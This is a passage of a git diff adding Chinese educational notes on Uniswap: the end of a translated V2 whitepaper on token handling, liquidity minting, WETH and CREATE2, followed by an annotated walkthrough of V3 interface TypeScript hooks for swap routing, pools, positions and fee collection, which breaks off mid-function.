+ERC20标准要求transfer()函数和transferFrom()函数返回布尔值表示调用的成功或失败。一些代币对这两个函数的实现没有返回值，比如泰达币（USDT）和币安币（BNB）。Uniswap V1将这种不标准的函数返回值转换成false，表示转账不成功，并且回滚交易，导致转账失败。
+
+Uniswap V2用不同的方式处理非标准的代币实现。具体来说，如果一次transfer()调用没有返回值，Uniswap V2把它转换为成功而非失败。这个改动不应该影响任何遵从ERC20协议的代币（因为那些代币中transfer()总是有返回值）。
+
+Uniswap V1此外假设调用transfer()和transferFrom()不能触发Uniswap交易对合约的重入调用。某些ERC20代币违反了这个假设，包括支持ERC777协议的"hooks"的代币。为了完全支持这些代币，Uniswap V2包含了一个[lock](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol#L31)，直接防止重入所有公共的修改状态的函数。这也保护防止了在快速互换中从用户定义的回调函数重入，如2.3节所描述的那样。
+
+### 3.4 初始化流动性代币供给
+当新的流动性提供者向现有的Uniswap交易对中存代币时，计算铸造的流动性代币（译者注：流动性代币需要看Uniswap V1白皮书）数量基于现有的代币数量：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/12.svg" /></center>
+
+如果是第一个存款人呢？在​ <span><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/19.svg" /></span> 为0的情况下，这个公式不能用。
+
+Uniswap V1设初始份额供给等于存入地ETH数量（以Wei计）。这有一定的合理价值，因为如果初始流动性是在合理价格存入的，那么1流动性份额（和ETH一样是18位小数精度代币）大约值2ETH。
+
+然而，这意味着流动性资金池份额的价值依赖于初始存入的比例，这完全可能是任意值，尤其是因为没有任何比例可以反应真实价格的保证。另外，Uniswap V2支持任意交易对，有许多交易对根本不包含ETH。
+
+相反，Uniswap V2初始铸造份额等于存入代币数量的几何平均值：
+<center><img src="https://raw.githubusercontent.com/Dapp-Learning-DAO/Dapp-Learning-Arsenal/main/papers/3-DEFI/Uniswap-V2/whitepaper/image/13.svg" /></center>
+
+这个公式确保了流动性资金池份额的价值在任意时间和在本质上和初始存入的比例无关。举个例子，假设当前1 ABC的价格是100XYZ。如果初始存款是2 ABC和200 XYZ（比例1:100），存款人会获得​20份额。这些份额现在应该任然值2 ABC和200 XYZ，加上累加手续费。
+
+如果初始存款是2 ABC和800 XYZ（1：400比例），存款人会收到​40资金池份额。
+
+以上公式确保了流动性资金池不会少于资金池中储备金额的几何平均值。但是，流动性资金池份额的价值随时间增长是可能的，通过累加交易手续费或者向流动性资金池“捐款”。理论上，这会导致一种极端情况，最小的流动性份额数量（1e-18份额）过于值钱，以至于无法为小流动性提供者提供任何流动性。
+
+为了减轻这种情况，Uniswap V2销毁第一次铸造的1e-15资金池份额，发送到全零地址而不是铸造者。这对任何代币交易对都是微不足道的。但是这显著地提高了上述攻击地成本。为了提高流动性资金池份额价值到100美元，攻击者需要捐献100000美元到资金池总，这会被作为流动性永久锁定。
+
+### 3.5 包装ETH
+以太坊原生资产ETH的转账接口和ERC20交互用的标准接口不同。因此，以太坊上许多其他的协议不支持ETH，而是使用了一种标准的“包装的ETH”代币，WETH。
+
+Uniswap V1是一个例外。因为每个Uniswap V1交易对包含了ETH作为其中一种资产，所以它可以直接处理ETH，而且更高效地使用gas。
+
+因为Uniswap V2支持任意ERC20交易对，它现在不再支持无包装的ETH。如果添加这个特性需要两倍的核心代码，并且产生ETH和WETH流动性分散的风险。原生ETH需要包装后才能在Uniswap V2上交易。
+
+### 3.6 确定交易对地址
+和Uniswap V1一样，Uniswap V2交易对也是通过单一的工厂合约进行实例化的。在Uniswap V1中，交易对合约用CREATE运算码进行创建，这意味着合约地址依赖于交易对创建的顺序。Uniswap V2使用以太坊新的CREATE2运算码来创建确定地址的交易对合约，这意味着可以在链下计算某个交易对的地址，不用查看以太坊区块链的状态。
+
+### 3.7 最大代币余额
+为了高效地实现预言机制，Uniswap V2只支持最高储备余额 <strong>2<sup>112</sup> - 1</strong>。这个数字足以支持总发行量超过一千万亿的18位小数精度的代币。
+
+如果储备余额超过了​，任何swap函数调用都会失败（由于_update()函数中的检查逻辑）。要从这个状态中恢复，任何用户都可以调用skim()函数从流动性池中移除超出的资产。
+
+### 引用
+* [1] Hayden Adams. 2018. url: [https://hackmd.io/@477aQ9OrQTCbVR3fq1Qzxg/HJ9jLsfTz?type=view](https://hackmd.io/@477aQ9OrQTCbVR3fq1Qzxg/HJ9jLsfTz?type=view).
+* [2] Guillermo Angeris et al. An analysis of Uniswap markets. 2019. arXiv: 1911.03380[q-fin.TR].
+* [3] samczsun. Taking undercollateralized loans for fun and for profit. Sept. 2019. url:[https://samczsun.com/taking-undercollateralized-loans-for-fun-and-for-profit/](https://samczsun.com/taking-undercollateralized-loans-for-fun-and-for-profit/)
+* [4] Fabian Vogelsteller and Vitalik Buterin. Nov. 2015. url: [https://eips.ethereum.org/EIPS/eip-20](https://eips.ethereum.org/EIPS/eip-20)
+* [5] Jordi Baylina Jacques Dafflon and Thomas Shababi. EIP 777: ERC777 Token Standard.Nov. 2017. url: [https://eips.ethereum.org/EIPS/eip-777](https://eips.ethereum.org/EIPS/eip-777)
+* [6] Radar. WTF is WETH? url: [https://weth.io/](https://weth.io/).
+* [7] Uniswap.info. Wrapped Ether (WETH). url: [https://uniswap.info/token/0xc02aaa39b223fe8d0a0e5c4f27e](https://uniswap.info/token/0xc02aaa39b223fe8d0a0e5c4f27e)
+* [8] Vitalik Buterin. EIP 1014
+
+## 4. 声明
+这篇论文的目的仅作为一般信息。不构成买卖任何投资产品的投资建议、推荐或请求，也不应该被用来评估任何投资决策的业绩，不应该被用于会计、法律、税务建议或投资推荐。本文反映了作者当前的观点，不代表Paradigm和其附属机构，也不一定反映Paradigm、其附属机构以及隶属于Paradigm的个人的观点。本文反映的观点在没有另行更新的情况下可能发生变化。
+
diff --git a/defi/Uniswap-V2/whitepaper/whitepaper.pdf b/defi/Uniswap-V2/whitepaper/whitepaper.pdf
new file mode 100644
index 000000000..d51fe7e3f
Binary files /dev/null and b/defi/Uniswap-V2/whitepaper/whitepaper.pdf differ
diff --git a/defi/Uniswap-V3/.gitignore b/defi/Uniswap-V3/.gitignore
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/defi/Uniswap-V3/.gitignore
@@ -0,0 +1 @@
+
diff --git a/defi/Uniswap-V3/InterfaceGuide/Code.md b/defi/Uniswap-V3/InterfaceGuide/Code.md
new file mode 100644
index 000000000..78dcee049
--- /dev/null
+++ b/defi/Uniswap-V3/InterfaceGuide/Code.md
@@ -0,0 +1,1385 @@
+# Code 代码解析
+
+:warning: **本文档侧重解析 V3 和 V2 的区别**，建议先看 [UniswapV2Interface Code](../../Uniswap-V2/Interface/Code.md)
+
+## Swap
+
+### useDerivedSwapInfo
+
+从用户的输入数值来计算最佳的交易路径，这里和 V2 版本的区别主要两点：
+
+- 同时计算了 V2 和 V3 的最佳交易链路
+- 区分 V2，V3 ，layer2 的默认滑点百分比水平
+
+```ts
+// src/state/swap/hooks.ts
+// from the current swap inputs, compute the best trade and return it.
+export function useDerivedSwapInfo(toggledVersion: Version): {
+  currencies: { [field in Field]?: Currency }
+  currencyBalances: { [field in Field]?: CurrencyAmount<Currency> }
+  parsedAmount: CurrencyAmount<Currency> | undefined
+  inputError?: string
+  v2Trade: V2Trade<Currency, Currency, TradeType> | undefined
+  v3TradeState: { trade: V3Trade<Currency, Currency, TradeType> | null; state: V3TradeState }
+  toggledTrade: V2Trade<Currency, Currency, TradeType> | V3Trade<Currency, Currency, TradeType> | undefined
+  allowedSlippage: Percent
+} {
+  ...
+
+  // V2的最佳路径
+  const bestV2TradeExactIn = useV2TradeExactIn(isExactIn ? parsedAmount : undefined, outputCurrency ?? undefined, {
+    maxHops: singleHopOnly ? 1 : undefined,
+  })
+  const bestV2TradeExactOut = useV2TradeExactOut(inputCurrency ?? undefined, !isExactIn ? parsedAmount : undefined, {
+    maxHops: singleHopOnly ? 1 : undefined,
+  })
+
+  // V3的最佳路径
+  const bestV3TradeExactIn = useBestV3TradeExactIn(isExactIn ? parsedAmount : undefined, outputCurrency ?? undefined)
+  const bestV3TradeExactOut = useBestV3TradeExactOut(inputCurrency ?? undefined, !isExactIn ? parsedAmount : undefined)
+
+  const v2Trade = isExactIn ? bestV2TradeExactIn : bestV2TradeExactOut
+  const v3Trade = (isExactIn ? bestV3TradeExactIn : bestV3TradeExactOut) ?? undefined
+
+  ...
+
+  const toggledTrade = (toggledVersion === Version.v2 ? v2Trade : v3Trade.trade) ?? undefined
+  const allowedSlippage = useSwapSlippageTolerance(toggledTrade)
+
+  ...
+
+  return {
+    currencies,
+    currencyBalances,
+    parsedAmount,
+    inputError,
+    v2Trade: v2Trade ?? undefined,
+    v3TradeState: v3Trade,
+    toggledTrade,
+    allowedSlippage,
+  }
+}
+```
+
+### useSwapSlippageTolerance
+
+返回用户设置的滑点百分比，没有设置则返回默认
+
+- layer2 模式的滑点 .10%
+- V2 的默认滑点 .50%
+- V3 的默认滑点 .50%
+
+```ts
+// src/hooks/useSwapSlippageTolerance.ts
+
+const V2_SWAP_DEFAULT_SLIPPAGE = new Percent(50, 10_000); // .50%
+const V3_SWAP_DEFAULT_SLIPPAGE = new Percent(50, 10_000); // .50%
+const ONE_TENTHS_PERCENT = new Percent(10, 10_000); // .10%
+
+export default function useSwapSlippageTolerance(
+  trade: V2Trade<Currency, Currency, TradeType> | V3Trade<Currency, Currency, TradeType> | undefined
+): Percent {
+  const { chainId } = useActiveWeb3React();
+  const onL2 = chainId && L2_CHAIN_IDS.includes(chainId);
+  const defaultSlippageTolerance = useMemo(() => {
+    if (!trade || onL2) return ONE_TENTHS_PERCENT;
+    if (trade instanceof V2Trade) return V2_SWAP_DEFAULT_SLIPPAGE;
+    return V3_SWAP_DEFAULT_SLIPPAGE;
+  }, [onL2, trade]);
+  return useUserSlippageToleranceWithDefault(defaultSlippageTolerance);
+}
+```
+
+### useBestV3TradeExactOut
+
+计算 V3 的指定精确输出时的最佳交易链路
+
+- 获取所有可用的交易链路
+- 批量请求 Quoter 合约的 quoteExactOutput 函数，得到预计输入数量的结果数组
+- Qouter 合约会真实调用 Pool 的 swap 函数，而 swap 函数又会去调用 Quoter 合约的 uniswapV3SwapCallback 回调函数
+- 回调函数中会把得到的输入输出量，作为 revert 信息传回
+
+```ts
+// src/hooks/useBestV3Trade.ts
+/**
+ * Returns the best v3 trade for a desired exact output swap
+ * @param currencyIn the desired input currency
+ * @param amountOut the amount to swap out
+ */
+export function useBestV3TradeExactOut(
+  currencyIn?: Currency,
+  amountOut?: CurrencyAmount<Currency>
+): { state: V3TradeState; trade: Trade<Currency, Currency, TradeType.EXACT_OUTPUT> | null } {
+  const { chainId } = useActiveWeb3React();
+  // 拿到quoter合约对象（V3部署的专门用来查询交易数量的合约）
+  const quoter = useV3Quoter();
+  // 获取所有可用的交易链路
+  const { routes, loading: routesLoading } = useAllV3Routes(currencyIn, amountOut?.currency);
+
+  // 组装查询quoter合约的入参 path, amountOut
+  const quoteExactOutInputs = useMemo(() => {
+    // 将path入参组装成 tokenA+fee+tokenB 的形式
+    // `${tokenA.address}${fee rate}${tokenB.address}`
+    // amountOut 转为十六进制
+    return routes.map((route) => [encodeRouteToPath(route, true), amountOut ? `0x${amountOut.quotient.toString(16)}` : undefined]);
+  }, [amountOut, routes]);
+
+  // 批量请求Quoter合约的quoteExactOutput函数，得到预计输入数量的结果数组
+  // Qouter合约会真实调用Pool的swap函数，而swap函数又会去调用uniswapV3SwapCallback回调函数
+  // 回调函数中会把得到的输入输出量，作为revert信息传回
+  const quotesResults = useSingleContractMultipleData(quoter, 'quoteExactOutput', quoteExactOutInputs, {
+    gasRequired: chainId ? QUOTE_GAS_OVERRIDES[chainId] ?? DEFAULT_GAS_QUOTE : undefined,
+  });
+
+  return useMemo(() => {
+    if (
+      !amountOut ||
+      !currencyIn ||
+      quotesResults.some(({ valid }) => !valid) ||
+      // skip when tokens are the same
+      amountOut.currency.equals(currencyIn)
+    ) {
+      return {
+        state: V3TradeState.INVALID,
+        trade: null,
+      };
+    }
+
+    if (routesLoading || quotesResults.some(({ loading }) => loading)) {
+      return {
+        state: V3TradeState.LOADING,
+        trade: null,
+      };
+    }
+
+    const { bestRoute, amountIn } = quotesResults.reduce(
+      (currentBest: { bestRoute: Route<Currency, Currency> | null; amountIn: BigNumber | null }, { result }, i) => {
+        if (!result) return currentBest;
+
+        if (currentBest.amountIn === null) {
+          return {
+            bestRoute: routes[i],
+            amountIn: result.amountIn,
+          };
+        } else if (currentBest.amountIn.gt(result.amountIn)) {
+          return {
+            bestRoute: routes[i],
+            amountIn: result.amountIn,
+          };
+        }
+
+        return currentBest;
+      },
+      {
+        bestRoute: null,
+        amountIn: null,
+      }
+    );
+
+    if (!bestRoute || !amountIn) {
+      return {
+        state: V3TradeState.NO_ROUTE_FOUND,
+        trade: null,
+      };
+    }
+
+    const isSyncing = quotesResults.some(({ syncing }) => syncing);
+
+    return {
+      state: isSyncing ? V3TradeState.SYNCING : V3TradeState.VALID,
+      trade: Trade.createUncheckedTrade({
+        route: bestRoute,
+        tradeType: TradeType.EXACT_OUTPUT,
+        inputAmount: CurrencyAmount.fromRawAmount(currencyIn, amountIn.toString()),
+        outputAmount: amountOut,
+      }),
+    };
+  }, [amountOut, currencyIn, quotesResults, routes, routesLoading]);
+}
+```
+
+### useAllV3Routes
+
+给定输入和输出的 token，计算所有可用的交易链路
+
+- `useV3SwapPools` 返回所有和输入输出 token 相关的交易池
+  - 常用的币种和 tokenA,tokenB 配对
+  - 根据交易对去查找所有可用的费率等级（最多三种费率，费率不同即为不同的池子）
+  - `usePools` 将 token 交易对初始化为 Pool 类 [详见 usePools](./#usePools)
+- `useUserSingleHopOnly` 用户是否设置了仅限单池交易模式
+  - 单池交易模式将只返回 tokenA->tokenB 交易对本身（不同费率的）
+  - 非单池模式（可多个交易池），最多使用 2 个交易池（V2 最多 3 个）
+- `computeAllRoutes` 遍历+递归查找可能的交易链路[详见 computeAllRoutes](./#computeAllRoutes)
+
+```ts
+/**
+ * Returns all the routes from an input currency to an output currency
+ * @param currencyIn the input currency
+ * @param currencyOut the output currency
+ */
+export function useAllV3Routes(currencyIn?: Currency, currencyOut?: Currency): { loading: boolean; routes: Route<Currency, Currency>[] } {
+  const { chainId } = useActiveWeb3React();
+  const { pools, loading: poolsLoading } = useV3SwapPools(currencyIn, currencyOut);
+
+  const [singleHopOnly] = useUserSingleHopOnly();
+
+  return useMemo(() => {
+    if (poolsLoading || !chainId || !pools || !currencyIn || !currencyOut) return { loading: true, routes: [] };
+
+    const routes = computeAllRoutes(currencyIn, currencyOut, pools, chainId, [], [], currencyIn, singleHopOnly ? 1 : 2);
+    return { loading: false, routes };
+  }, [chainId, currencyIn, currencyOut, pools, poolsLoading, singleHopOnly]);
+}
+```
+
+### usePools
+
+将传入的 poolkey 数组初始化为一组交易池对象
+
+- `slot0` 参见合约部分的讲解 [Pool slot0](../contractGuide/UniswapV3Pool.md#slot0)
+
+```ts
+export function usePools(poolKeys: [Currency | undefined, Currency | undefined, FeeAmount | undefined][]): [PoolState, Pool | null][] {
+  const { chainId } = useActiveWeb3React();
+
+  // tokenA tokenB 根据地址排序
+  const transformed: ([Token, Token, FeeAmount] | null)[] = useMemo(() => {
+    return poolKeys.map(([currencyA, currencyB, feeAmount]) => {
+      // 如果入参非法，则返回null
+      if (!chainId || !currencyA || !currencyB || !feeAmount) return null;
+
+      const tokenA = currencyA?.wrapped;
+      const tokenB = currencyB?.wrapped;
+      if (!tokenA || !tokenB || tokenA.equals(tokenB)) return null;
+      const [token0, token1] = tokenA.sortsBefore(tokenB) ? [tokenA, tokenB] : [tokenB, tokenA];
+      return [token0, token1, feeAmount];
+    });
+  }, [chainId, poolKeys]);
+
+  // 计算Pool的地址
+  const poolAddresses: (string | undefined)[] = useMemo(() => {
+    // 获取当前链上的factory合约地址
+    const v3CoreFactoryAddress = chainId && V3_CORE_FACTORY_ADDRESSES[chainId];
+
+    // 调用sdk链下计算Pool地址
+    // @uniswap/v3-sdk/utils.computePoolAddress
+    // 利用@ethersproject/address/getCreate2Address方法，计算create2生成的地址
+    return transformed.map((value) => {
+      if (!v3CoreFactoryAddress || !value) return undefined;
+      return computePoolAddress({
+        factoryAddress: v3CoreFactoryAddress,
+        tokenA: value[0],
+        tokenB: value[1],
+        fee: value[2],
+      });
+    });
+  }, [chainId, transformed]);
+
+  // 拿到所有Pool的slot0插槽数据
+  // slot0是Pool合约将一些重要变量打包存储在storage，例如 sqrtPriceX96, tick 等
+  // 因为这些变量加起来占用了255位，差一位 占满一个 word （256字节），并且存储在第一个插槽内
+  // 固命名为slot0
+  const slot0s = useMultipleContractSingleData(poolAddresses, POOL_STATE_INTERFACE, 'slot0');
+  // 拿到所有池子，当前激活的流动性总量
+  // 即价格在区间内的所有流动性头寸的总和（不包括已经outOfRange的头寸）
+  const liquidities = useMultipleContractSingleData(poolAddresses, POOL_STATE_INTERFACE, 'liquidity');
+
+  // 将交易对token包装成Pool对象
+  // @uniswap/v3-sdk/Pool
+  return useMemo(() => {
+    return poolKeys.map((_key, index) => {
+      // token0,token1,fee 三个参数是必须的，如果有一个不存在，则返回null
+      const [token0, token1, fee] = transformed[index] ?? [];
+      if (!token0 || !token1 || !fee) return [PoolState.INVALID, null];
+
+      const { result: slot0, loading: slot0Loading, valid: slot0Valid } = slot0s[index];
+      const { result: liquidity, loading: liquidityLoading, valid: liquidityValid } = liquidities[index];
+
+      // 组装slot0和liquidity，这两个也是必须的
+      if (!slot0Valid || !liquidityValid) return [PoolState.INVALID, null];
+      if (slot0Loading || liquidityLoading) return [PoolState.LOADING, null];
+
+      if (!slot0 || !liquidity) return [PoolState.NOT_EXISTS, null];
+
+      // 如果池子的价格(根号价格) = 0 ,说明池子还未初始化
+      if (!slot0.sqrtPriceX96 || slot0.sqrtPriceX96.eq(0)) return [PoolState.NOT_EXISTS, null];
+
+      try {
+        return [PoolState.EXISTS, new Pool(token0, token1, fee, slot0.sqrtPriceX96, liquidity[0], slot0.tick)];
+      } catch (error) {
+        console.error('Error when constructing the pool', error);
+        return [PoolState.NOT_EXISTS, null];
+      }
+    });
+  }, [liquidities, poolKeys, slot0s, transformed]);
+}
+```
+
+### computeAllRoutes
+
+遍历+递归查找可能的交易链路
+
+```ts
+function computeAllRoutes(
+  currencyIn: Currency,
+  currencyOut: Currency,
+  pools: Pool[],
+  chainId: number,
+  currentPath: Pool[] = [],
+  allPaths: Route<Currency, Currency>[] = [],
+  startCurrencyIn: Currency = currencyIn,
+  maxHops = 2
+): Route<Currency, Currency>[] {
+  const tokenIn = currencyIn?.wrapped;
+  const tokenOut = currencyOut?.wrapped;
+  if (!tokenIn || !tokenOut) throw new Error('Missing tokenIn/tokenOut');
+
+  // 遍历候选的池子
+  for (const pool of pools) {
+    // 当前交易链路中已包含该池子，跳过
+    // 当前交易链路中已包含输入的token，跳过
+    // @uniswap/v3-sdk/Pool.involvesToken
+    if (currentPath.indexOf(pool) !== -1 || !pool.involvesToken(tokenIn)) continue;
+
+    const outputToken = pool.token0.equals(tokenIn) ? pool.token1 : pool.token0;
+    if (outputToken.equals(tokenOut)) {
+      // 当maxHops = 1时，输出token等于期望的种类，将交易对推入链路
+      allPaths.push(new Route([...currentPath, pool], startCurrencyIn, currencyOut));
+    } else if (maxHops > 1) {
+      // 当maxHops > 1 时，递归查找
+      computeAllRoutes(outputToken, currencyOut, pools, chainId, [...currentPath, pool], allPaths, startCurrencyIn, maxHops - 1);
+    }
+  }
+
+  return allPaths;
+}
+```
+
+## PoolList
+
+### useV3Positions
+
+根据用户账户地址向 Manager 合约查询他的所有 position
+
+```ts
+export function useV3Positions(account: string | null | undefined): UseV3PositionsResults {
+  // 拿到Manager合约的实例
+  const positionManager = useV3NFTPositionManagerContract();
+
+  // 查询用户在Manager上的position数量
+  // (Manager.balanceOf 会返回创建的position数量，而非流动性数量)
+  const { loading: balanceLoading, result: balanceResult } = useSingleCallResult(positionManager, 'balanceOf', [account ?? undefined]);
+
+  // we don't expect any account balance to ever exceed the bounds of max safe int
+  // 防止数量超过js的上限
+  const accountBalance: number | undefined = balanceResult?.[0]?.toNumber();
+
+  // 组装查询position的tokenId的入参： account.address , i 序号
+  const tokenIdsArgs = useMemo(() => {
+    if (accountBalance && account) {
+      const tokenRequests = [];
+      for (let i = 0; i < accountBalance; i++) {
+        tokenRequests.push([account, i]);
+      }
+      return tokenRequests;
+    }
+    return [];
+  }, [account, accountBalance]);
+
+  // 查询position所对应的tokenId
+  // 调用 Manager.tokenOfOwnerByIndex 这是根据用户的position索引值查询 tokenId 的函数
+  const tokenIdResults = useSingleContractMultipleData(positionManager, 'tokenOfOwnerByIndex', tokenIdsArgs);
+  // 监听处于loading状态的请求
+  const someTokenIdsLoading = useMemo(() => tokenIdResults.some(({ loading }) => loading), [tokenIdResults]);
+
+  // 组装查询结果，将 tokenId 包装成 BigNumber 类
+  const tokenIds = useMemo(() => {
+    if (account) {
+      return tokenIdResults
+        .map(({ result }) => result)
+        .filter((result): result is Result => !!result)
+        .map((result) => BigNumber.from(result[0]));
+    }
+    return [];
+  }, [account, tokenIdResults]);
+
+  // 根据tokenId 获取position详情
+  const { positions, loading: positionsLoading } = useV3PositionsFromTokenIds(tokenIds);
+
+  return {
+    loading: someTokenIdsLoading || balanceLoading || positionsLoading,
+    positions,
+  };
+}
+```
+
+### useV3PositionsFromTokenIds
+
+根据 tokenId 获取 position 详情
+
+```ts
+function useV3PositionsFromTokenIds(tokenIds: BigNumber[] | undefined): UseV3PositionsResults {
+  // 拿到Manager合约的实例
+  const positionManager = useV3NFTPositionManagerContract();
+  // 组装入参 调用 Manager.positions 变量的getter函数
+  const inputs = useMemo(() => (tokenIds ? tokenIds.map((tokenId) => [BigNumber.from(tokenId)]) : []), [tokenIds]);
+  const results = useSingleContractMultipleData(positionManager, 'positions', inputs);
+
+  const loading = useMemo(() => results.some(({ loading }) => loading), [results]);
+  const error = useMemo(() => results.some(({ error }) => error), [results]);
+
+  // 组装position的详情数据
+  const positions = useMemo(() => {
+    if (!loading && !error && tokenIds) {
+      return results.map((call, i) => {
+        const tokenId = tokenIds[i];
+        const result = call.result as Result;
+        return {
+          tokenId,
+          fee: result.fee, //  当前position设置的费率等级
+          // position收取的总手续费，从创建以来，包括已回收的
+          // 两种资产分开收取 （每笔swap，从tokenIn收取）
+          feeGrowthInside0LastX128: result.feeGrowthInside0LastX128,
+          feeGrowthInside1LastX128: result.feeGrowthInside1LastX128,
+          liquidity: result.liquidity, // position可提供的流动性数量
+          nonce: result.nonce, // 用于授权的nonce值
+          operator: result.operator, // 被授权的操作者 通常是 address 0
+          tickLower: result.tickLower, // 价格区间左边界
+          tickUpper: result.tickUpper, // 价格区间有边界
+          token0: result.token0,
+          token1: result.token1,
+          tokensOwed0: result.tokensOwed0, // 当前未回收的fee (token0)
+          tokensOwed1: result.tokensOwed1, // 当前未回收的fee (token1)
+        };
+      });
+    }
+    return undefined;
+  }, [loading, error, results, tokenIds]);
+
+  return {
+    loading,
+    positions: positions?.map((position, i) => ({ ...position, tokenId: inputs[i][0] })),
+  };
+}
+```
+
+## CollectFee
+
+回收手续费
+
+### useV3PositionFees
+
+通过 `ethers.callStatic` 方法，静态调用(不会真实消耗 gas) Manager 合约的 collect 函数，得到最新的可回收手续费的数量。
+
+#### 为何要这样获取
+
+- 从 Manager 的 positions getter 函数可以获取到手续费数量的数据
+- 但这个数据不是最新的，因为 Manager 中的 position 的手续费只有在用户添加或删除流动性时才会触发去 Pool 合约中查询最新数据
+- Manager 合约和 Pool 合约都存有 position 数据，但是 Pool 合约不会存储用户相关的信息，并且仅限 Pool 合约所对应的交易对；而 Manager 中会针对用户存储其所有交易对的全部 position 信息
+
+#### Manager.collect() 函数的内部逻辑
+
+1. Pool.burn 触发 Pool 中的 position 数据更新
+2. Pool.positions getter 函数 拿到最新数据
+3. Pool.collect 回收手续费，当然这里是 message call 可以返回计算后的数据，但不会改变链上的任何状态
+
+我们需要的数据在 transfer 之前就已经拿到
+
+```ts
+// src/hooks/useV3PositionFees
+
+// compute current + counterfactual fees for a v3 position
+export function useV3PositionFees(
+  pool?: Pool,
+  tokenId?: BigNumber,
+  asWETH = false
+): [CurrencyAmount<Currency>, CurrencyAmount<Currency>] | [undefined, undefined] {
+  // Manager 合约实例
+  const positionManager = useV3NFTPositionManagerContract(false);
+  // 拿到tokenId对应的所有者地址
+  const owner: string | undefined = useSingleCallResult(tokenId ? positionManager : null, 'ownerOf', [tokenId]).result?.[0];
+
+  const tokenIdHexString = tokenId?.toHexString();
+  const latestBlockNumber = useBlockNumber();
+
+  // TODO find a way to get this into multicall
+  // latestBlockNumber is included to ensure data stays up-to-date every block
+  const [amounts, setAmounts] = useState<[BigNumber, BigNumber]>();
+  useEffect(() => {
+    let stale = false;
+
+    if (positionManager && tokenIdHexString && owner && typeof latestBlockNumber === 'number') {
+      // 静态调用 Manager.collect 方法
+      // 获取最新的两种资产的手续费
+      // Manager.collect
+      //  1. Pool.burn 触发Pool中的position数据更新
+      //  2. Pool.positions getter 函数 拿到最新数据
+      //  3. Pool.collect 回收手续费，当然这里不会实际转账
+      //  返回的 amount0，amount1 是计算后的值，
+      positionManager.callStatic
+        .collect(
+          {
+            tokenId: tokenIdHexString,
+            recipient: owner, // some tokens might fail if transferred to address(0)
+            amount0Max: MAX_UINT128,
+            amount1Max: MAX_UINT128,
+          },
+          { from: owner } // need to simulate the call as the owner
+        )
+        .then((results) => {
+          if (!stale) setAmounts([results.amount0, results.amount1]);
+        });
+    }
+
+    return () => {
+      stale = true;
+    };
+  }, [positionManager, tokenIdHexString, owner, latestBlockNumber]);
+
+  if (pool && amounts) {
+    return [
+      CurrencyAmount.fromRawAmount(!asWETH ? unwrappedToken(pool.token0) : pool.token0, amounts[0].toString()),
+      CurrencyAmount.fromRawAmount(!asWETH ? unwrappedToken(pool.token1) : pool.token1, amounts[1].toString()),
+    ];
+  } else {
+    return [undefined, undefined];
+  }
+}
+```
+
+### collect
+
+发送回收手续费的交易
+
+- feeValue0/1 用户当前可取的手续费数量
+- 通过 [useV3PositionFees()](#useV3PositionFees) 获取
+
+```ts
+// src/pages/Pool/PositionPage.tsx
+const collect = useCallback(() => {
+  // feeValue0/1 用户当前可取的手续费数量 通过 useV3PositionFees 获取
+  if (!chainId || !feeValue0 || !feeValue1 || !positionManager || !account || !tokenId || !library) return;
+
+  setCollecting(true);
+
+  // 组装入参
+  const { calldata, value } = NonfungiblePositionManager.collectCallParameters({
+    tokenId: tokenId.toString(),
+    expectedCurrencyOwed0: feeValue0,
+    expectedCurrencyOwed1: feeValue1,
+    recipient: account,
+  });
+
+  const txn = {
+    to: positionManager.address,
+    data: calldata,
+    value,
+  };
+
+  library
+    .getSigner()
+    .estimateGas(txn)
+    .then((estimate) => {
+      const newTxn = {
+        ...txn,
+        gasLimit: calculateGasMargin(chainId, estimate),
+      };
+
+      return library
+        .getSigner()
+        .sendTransaction(newTxn)
+        .then((response: TransactionResponse) => {
+          setCollectMigrationHash(response.hash);
+          setCollecting(false);
+
+          ReactGA.event({
+            category: 'Liquidity',
+            action: 'CollectV3',
+            label: [feeValue0.currency.symbol, feeValue1.currency.symbol].join('/'),
+          });
+
+          addTransaction(response, {
+            summary: `Collect ${feeValue0.currency.symbol}/${feeValue1.currency.symbol} fees`,
+          });
+        });
+    })
+    .catch((error) => {
+      setCollecting(false);
+      console.error(error);
+    });
+}, [chainId, feeValue0, feeValue1, positionManager, account, tokenId, addTransaction, library]);
+```
+
+## AddLiquidity
+
+### useV3DerivedMintInfo
+
+根据用户的输入计算预计添加流动性的数据，返回数据：
+
+- `pool` Pool 对象，@uniswap/v3-sdk/Pool 类型的实例
+- `poolState` Pool 的状态 LOADING | NOT_EXISTS | EXISTS | INVALID
+- `ticks` 价格区间上下限所在的 tick
+- `price` Pool 的价格(当前交易价格)
+- `pricesAtTicks` 价格所在的 tick
+- `currencies` tokenA 和 tokenB
+- `currencyBalances` 用户在两个 token 上的余额
+- `dependentField` 需要自动计算数量的 token
+- `parsedAmounts` 格式化后的用户输入值(添加流动性的 token 数量)
+- `position` position 实例
+- `noLiquidity` Pool 是否没有流动性
+- `errorMessage` 报错信息
+- `invalidPool` Pool 是否非法
+- `outOfRange` 当前交易价格是否在设定的价格区间之外
+- `invalidRange` 非法的价格 (Lower >= Upper)
+- `depositADisabled` 价格区间外不能注入 tokenA 的流动性
+- `depositBDisabled` 价格区间外不能注入 tokenB 的流动性
+- `invertPrice` 非法的价格 (在最大价格区间外)
+- `ticksAtLimit` 最大价格区间所在的 tick
+
+```ts
+export function useV3DerivedMintInfo(
+  currencyA?: Currency, // tokenA
+  currencyB?: Currency, // tokenB
+  feeAmount?: FeeAmount, // 费率水平 rate% = feeAmount / 10**6 %
+  baseCurrency?: Currency, // 以哪个token为计价单位 例如 HH per ETH，ETH即为baseCurrency
+  // override for existing position
+  existingPosition?: Position // 当路由有positionId时，会获取链上的position信息从这里传入
+): {
+  pool?: Pool | null;
+  poolState: PoolState;
+  ticks: { [bound in Bound]?: number | undefined };
+  price?: Price<Token, Token>;
+  pricesAtTicks: {
+    [bound in Bound]?: Price<Token, Token> | undefined;
+  };
+  currencies: { [field in Field]?: Currency };
+  currencyBalances: { [field in Field]?: CurrencyAmount<Currency> };
+  dependentField: Field;
+  parsedAmounts: { [field in Field]?: CurrencyAmount<Currency> };
+  position: Position | undefined;
+  noLiquidity?: boolean;
+  errorMessage?: string;
+  invalidPool: boolean;
+  outOfRange: boolean;
